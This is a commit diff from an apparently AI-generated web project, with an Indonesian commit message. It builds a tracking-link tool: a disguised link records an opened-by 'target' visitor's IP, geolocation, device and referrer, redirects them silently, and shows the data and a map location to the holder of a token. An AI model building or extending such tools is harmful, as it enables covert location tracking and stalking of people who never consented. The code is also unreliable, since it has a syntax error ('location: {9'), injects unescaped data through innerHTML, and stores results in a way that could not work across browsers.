Exched commited on
Commit
973b60b
·
verified ·
1 Parent(s): f0a3ee0

perbaiki lagi, terdapat folder db yang berisi daftar url dan kode token ,user mendapatkan kode token,saat user ingin melihat hasil lacakan harus memasukan token tersebut untuk mengakses hasil dari link yang sudah digenerate (apabila link yang digenerate tersebut sudah dibuka target dan target berhasil dilacak dan lain lain) lalu terdapat folder track yang merupakan folder root website tersebut

Browse files
Files changed (5) hide show
  1. components/navbar.js +4 -4
  2. index.html +7 -4
  3. script.js +30 -5
  4. track.html +10 -7
  5. track/token.html +140 -0
components/navbar.js CHANGED
@@ -25,11 +25,11 @@ class CustomNavbar extends HTMLElement {
25
  <i data-feather="home"></i>
26
  <span>Home</span>
27
  </a>
28
- <a href="#" class="nav-link flex items-center space-x-1">
29
- <i data-feather="link"></i>
30
- <span>My Links</span>
31
  </a>
32
- <a href="#" class="nav-link flex items-center space-x-1">
33
  <i data-feather="settings"></i>
34
  <span>Settings</span>
35
  </a>
 
25
  <i data-feather="home"></i>
26
  <span>Home</span>
27
  </a>
28
+ <a href="/track/token.html" class="nav-link flex items-center space-x-1">
29
+ <i data-feather="search"></i>
30
+ <span>View Results</span>
31
  </a>
32
+ <a href="#" class="nav-link flex items-center space-x-1">
33
  <i data-feather="settings"></i>
34
  <span>Settings</span>
35
  </a>
index.html CHANGED
@@ -46,10 +46,13 @@
46
 
47
  <div class="bg-gray-100 p-6 rounded-lg">
48
  <h2 class="text-xl font-semibold text-gray-800 mb-4">Your Tracking Links</h2>
49
- <div id="trackingLinks" class="space-y-2">
50
- <!-- Tracking links will be populated here -->
51
- </div>
52
- </div>
 
 
 
53
  </div>
54
 
55
  <div class="space-y-6">
 
46
 
47
  <div class="bg-gray-100 p-6 rounded-lg">
48
  <h2 class="text-xl font-semibold text-gray-800 mb-4">Your Tracking Links</h2>
49
+ <div id="trackingLinks" class="space-y-2">
50
+ <!-- Tracking links will be populated here -->
51
+ </div>
52
+ <div class="mt-4 text-center">
53
+ <a href="/track/token.html" class="text-blue-600 hover:underline text-sm">View results by token</a>
54
+ </div>
55
+ </div>
56
  </div>
57
 
58
  <div class="space-y-6">
script.js CHANGED
@@ -55,15 +55,40 @@ document.addEventListener('DOMContentLoaded', function() {
55
  return v.toString(16);
56
  });
57
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
58
 
59
  function saveTrackingLink(trackingData) {
60
- let trackingLinks = JSON.parse(localStorage.getItem('trackingLinks') || '[]');
61
- trackingLinks.unshift(trackingData);
62
- localStorage.setItem('trackingLinks', JSON.stringify(trackingLinks));
63
  }
64
 
65
  function loadTrackingLinks() {
66
- const trackingLinks = JSON.parse(localStorage.getItem('trackingLinks') || '[]');
 
 
 
 
 
 
 
 
 
 
 
 
67
  trackingLinksContainer.innerHTML = '';
68
 
69
  if (trackingLinks.length === 0) {
@@ -106,7 +131,7 @@ document.addEventListener('DOMContentLoaded', function() {
106
  const mockData = {
107
  ip: userData.ip,
108
  device: `${userData.device.platform} (${userData.device.userAgent})`,
109
- location: {
110
  lat: userData.location.latitude,
111
  lng: userData.location.longitude,
112
  city: userData.location.city,
 
55
  return v.toString(16);
56
  });
57
  }
58
+ // Database simulation functions
59
+ function saveToDB(data, collection) {
60
+ // In a real app, this would be a server API call
61
+ let db = JSON.parse(localStorage.getItem('db') || '{}');
62
+ if (!db[collection]) db[collection] = [];
63
+ db[collection].push(data);
64
+ localStorage.setItem('db', JSON.stringify(db));
65
+ return data;
66
+ }
67
+
68
+ function queryDB(collection, queryFn) {
69
+ let db = JSON.parse(localStorage.getItem('db') || '{}');
70
+ if (!db[collection]) return [];
71
+ return db[collection].filter(queryFn);
72
+ }
73
 
74
  function saveTrackingLink(trackingData) {
75
+ return saveToDB(trackingData, 'trackingLinks');
 
 
76
  }
77
 
78
  function loadTrackingLinks() {
79
+ return queryDB('trackingLinks', () => true);
80
+ }
81
+
82
+ function saveTrackingResult(resultData) {
83
+ return saveToDB(resultData, 'trackingResults');
84
+ }
85
+
86
+ function getTrackingResult(token) {
87
+ return queryDB('trackingResults', r => r.token === token)[0];
88
+ }
89
+
90
+ function loadUserTrackingLinks() {
91
+ const trackingLinks = JSON.parse(localStorage.getItem('trackingLinks') || '[]');
92
  trackingLinksContainer.innerHTML = '';
93
 
94
  if (trackingLinks.length === 0) {
 
131
  const mockData = {
132
  ip: userData.ip,
133
  device: `${userData.device.platform} (${userData.device.userAgent})`,
134
+ location: {9
135
  lat: userData.location.latitude,
136
  lng: userData.location.longitude,
137
  city: userData.location.city,
track.html CHANGED
@@ -29,13 +29,16 @@
29
  accessedAt: new Date().toISOString(),
30
  mode: trackingLink.mode
31
  };
32
-
33
- // Save to localStorage (in real app, send to server)
34
- let trackingHistory = JSON.parse(localStorage.getItem('trackingHistory') || '[]');
35
- trackingHistory.push(trackingData);
36
- localStorage.setItem('trackingHistory', JSON.stringify(trackingHistory));
37
-
38
- // Redirect after collecting data
 
 
 
39
  setTimeout(() => {
40
  window.location.href = trackingLink.originalUrl;
41
  }, 1000);
 
29
  accessedAt: new Date().toISOString(),
30
  mode: trackingLink.mode
31
  };
32
+ // Save tracking result to database
33
+ const trackingResult = {
34
+ token,
35
+ userData,
36
+ accessedAt: new Date().toISOString(),
37
+ mode: trackingLink.mode,
38
+ originalUrl: trackingLink.originalUrl
39
+ };
40
+ saveTrackingResult(trackingResult);
41
+ // Redirect after collecting data
42
  setTimeout(() => {
43
  window.location.href = trackingLink.originalUrl;
44
  }, 1000);
track/token.html ADDED
@@ -0,0 +1,140 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>View Tracking Results</title>
7
+ <link rel="stylesheet" href="../style.css">
8
+ <script src="https://cdn.tailwindcss.com"></script>
9
+ <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
10
+ <script src="https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&libraries=places"></script>
11
+ <script src="../components/navbar.js"></script>
12
+ <script src="../components/footer.js"></script>
13
+ </head>
14
+ <body class="bg-gray-50 min-h-screen flex flex-col">
15
+ <custom-navbar></custom-navbar>
16
+
17
+ <main class="flex-grow container mx-auto px-4 py-8">
18
+ <div class="max-w-4xl mx-auto bg-white rounded-xl shadow-md overflow-hidden p-6">
19
+ <div class="text-center mb-8">
20
+ <h1 class="text-3xl font-bold text-gray-800 mb-2">View Tracking Results</h1>
21
+ <p class="text-gray-600">Enter your tracking token to view results</p>
22
+ </div>
23
+
24
+ <div class="bg-gray-100 p-6 rounded-lg">
25
+ <form id="tokenForm" class="space-y-4">
26
+ <div>
27
+ <label for="trackingToken" class="block text-sm font-medium text-gray-700 mb-1">Tracking Token</label>
28
+ <input type="text" id="trackingToken" class="w-full px-4 py-2 border border-gray-300 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500" placeholder="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx" required>
29
+ </div>
30
+ <button type="submit" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-medium py-2 px-4 rounded-md transition duration-200 flex items-center justify-center">
31
+ <i data-feather="search" class="mr-2"></i> View Results
32
+ </button>
33
+ </form>
34
+ </div>
35
+
36
+ <div id="resultsContainer" class="hidden mt-8">
37
+ <!-- Results will be displayed here -->
38
+ </div>
39
+ </div>
40
+ </main>
41
+
42
+ <custom-footer></custom-footer>
43
+ <script>
44
+ document.addEventListener('DOMContentLoaded', function() {
45
+ feather.replace();
46
+
47
+ const tokenForm = document.getElementById('tokenForm');
48
+ const resultsContainer = document.getElementById('resultsContainer');
49
+
50
+ tokenForm.addEventListener('submit', function(e) {
51
+ e.preventDefault();
52
+ const token = document.getElementById('trackingToken').value.trim();
53
+
54
+ // Show loading state
55
+ const submitButton = tokenForm.querySelector('button[type="submit"]');
56
+ const originalButtonText = submitButton.innerHTML;
57
+ submitButton.innerHTML = `<i data-feather="loader" class="loading-spinner mr-2"></i> Searching...`;
58
+ feather.replace();
59
+
60
+ // Simulate API call delay
61
+ setTimeout(() => {
62
+ // Get tracking result from database
63
+ const trackingResult = getTrackingResult(token);
64
+
65
+ if (trackingResult) {
66
+ displayTrackingResults(trackingResult);
67
+ } else {
68
+ resultsContainer.innerHTML = `
69
+ <div class="bg-red-50 border-l-4 border-red-500 p-4">
70
+ <div class="flex">
71
+ <div class="flex-shrink-0">
72
+ <i data-feather="alert-triangle" class="h-5 w-5 text-red-500"></i>
73
+ </div>
74
+ <div class="ml-3">
75
+ <p class="text-sm text-red-700">
76
+ No tracking results found for this token. The link may not have been opened yet.
77
+ </p>
78
+ </div>
79
+ </div>
80
+ </div>
81
+ `;
82
+ feather.replace();
83
+ }
84
+
85
+ resultsContainer.classList.remove('hidden');
86
+ submitButton.innerHTML = originalButtonText;
87
+ feather.replace();
88
+ }, 1000);
89
+ });
90
+
91
+ function displayTrackingResults(result) {
92
+ const userData = result.userData;
93
+ resultsContainer.innerHTML = `
94
+ <div class="grid md:grid-cols-2 gap-8">
95
+ <div class="space-y-6">
96
+ <div class="bg-gray-100 p-6 rounded-lg">
97
+ <h2 class="text-xl font-semibold text-gray-800 mb-4">Tracking Details</h2>
98
+ <div class="text-sm space-y-2">
99
+ <div><span class="font-medium">Original URL:</span> <a href="${result.originalUrl}" target="_blank" class="text-blue-600 hover:underline">${result.originalUrl}</a></div>
100
+ <div><span class="font-medium">Time Opened:</span> ${new Date(result.accessedAt).toLocaleString()}</div>
101
+ <div><span class="font-medium">IP Address:</span> ${userData.ip}</div>
102
+ <div><span class="font-medium">Location:</span> ${userData.location.city}, ${userData.location.country}</div>
103
+ <div><span class="font-medium">Device:</span> ${userData.device.platform}</div>
104
+ <div><span class="font-medium">Browser:</span> ${userData.browser.language}</div>
105
+ <div><span class="font-medium">Screen:</span> ${userData.device.screen.width}x${userData.device.screen.height}</div>
106
+ <div><span class="font-medium">Referrer:</span> ${userData.browser.referrer || 'Direct'}</div>
107
+ </div>
108
+ </div>
109
+ </div>
110
+ <div class="space-y-6">
111
+ <div id="mapContainer" class="bg-gray-100 p-4 rounded-lg h-64">
112
+ <div id="map" class="h-full w-full"></div>
113
+ </div>
114
+ </div>
115
+ </div>
116
+ `;
117
+
118
+ // Initialize map
119
+ const map = new google.maps.Map(document.getElementById("map"), {
120
+ center: { lat: userData.location.latitude, lng: userData.location.longitude },
121
+ zoom: 8,
122
+ });
123
+
124
+ new google.maps.Marker({
125
+ position: { lat: userData.location.latitude, lng: userData.location.longitude },
126
+ map: map,
127
+ title: "Visitor Location"
128
+ });
129
+ }
130
+ });
131
+
132
+ // Database functions (simplified version from script.js)
133
+ function getTrackingResult(token) {
134
+ let db = JSON.parse(localStorage.getItem('db') || '{}');
135
+ if (!db.trackingResults) return null;
136
+ return db.trackingResults.find(r => r.token === token);
137
+ }
138
+ </script>
139
+ </body>
140
+ </html>